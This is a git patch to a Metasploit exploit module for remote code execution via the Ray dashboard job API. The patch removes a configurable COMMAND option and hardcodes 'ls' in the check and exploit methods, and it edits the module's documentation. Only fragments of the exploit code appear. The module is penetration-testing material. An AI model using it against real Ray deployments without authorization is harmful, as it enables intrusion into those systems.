From 7258ca4fb19e92f2bbd235a5ecf2a7d65c9bb8c2 Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Fri, 16 Aug 2024 08:49:34 +0900 Subject: [PATCH] Remove unnecessary option for simplicity --- .../modules/exploit/linux/http/ray_agent_job_rce.md | 4 ---- modules/exploits/linux/http/ray_agent_job_rce.rb | 5 ++--- 2 files changed, 2 insertions(+), 7 deletions(-) diff --git a/documentation/modules/exploit/linux/http/ray_agent_job_rce.md b/documentation/modules/exploit/linux/http/ray_agent_job_rce.md index 880d41aa4e..2a55c1d9bd 100644 --- a/documentation/modules/exploit/linux/http/ray_agent_job_rce.md +++ b/documentation/modules/exploit/linux/http/ray_agent_job_rce.md @@ -33,10 +33,6 @@ This module was successfully tested on: ## Options -### COMMAND (Required) - -This is the command to execute. Default is `echo 'Hello from Metasploit'`. - ## Scenarios ### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 0) diff --git a/modules/exploits/linux/http/ray_agent_job_rce.rb b/modules/exploits/linux/http/ray_agent_job_rce.rb index 0c941557f7..81d9d1f279 100644 --- a/modules/exploits/linux/http/ray_agent_job_rce.rb +++ b/modules/exploits/linux/http/ray_agent_job_rce.rb @@ -53,7 +53,6 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8265), - OptString.new('COMMAND', [ true, 'The command to execute', 'echo \'Hello from Metasploit\'' ]), ] ) end @@ -77,14 +76,14 @@ class MetasploitModule < Msf::Exploit::Remote end def check - @job_data = get_job_data(datastore['COMMAND']) + @job_data = get_job_data('ls') return Exploit::CheckCode::Safe if @job_data.nil? Exploit::CheckCode::Detected end def exploit - @job_data ||= get_job_data(datastore['COMMAND']) + @job_data ||= get_job_data('ls') if @job_data print_good("Command execution successful. Job ID: '#{@job_data['job_id']}' Submission ID: '#{@job_data['submission_id']}'") end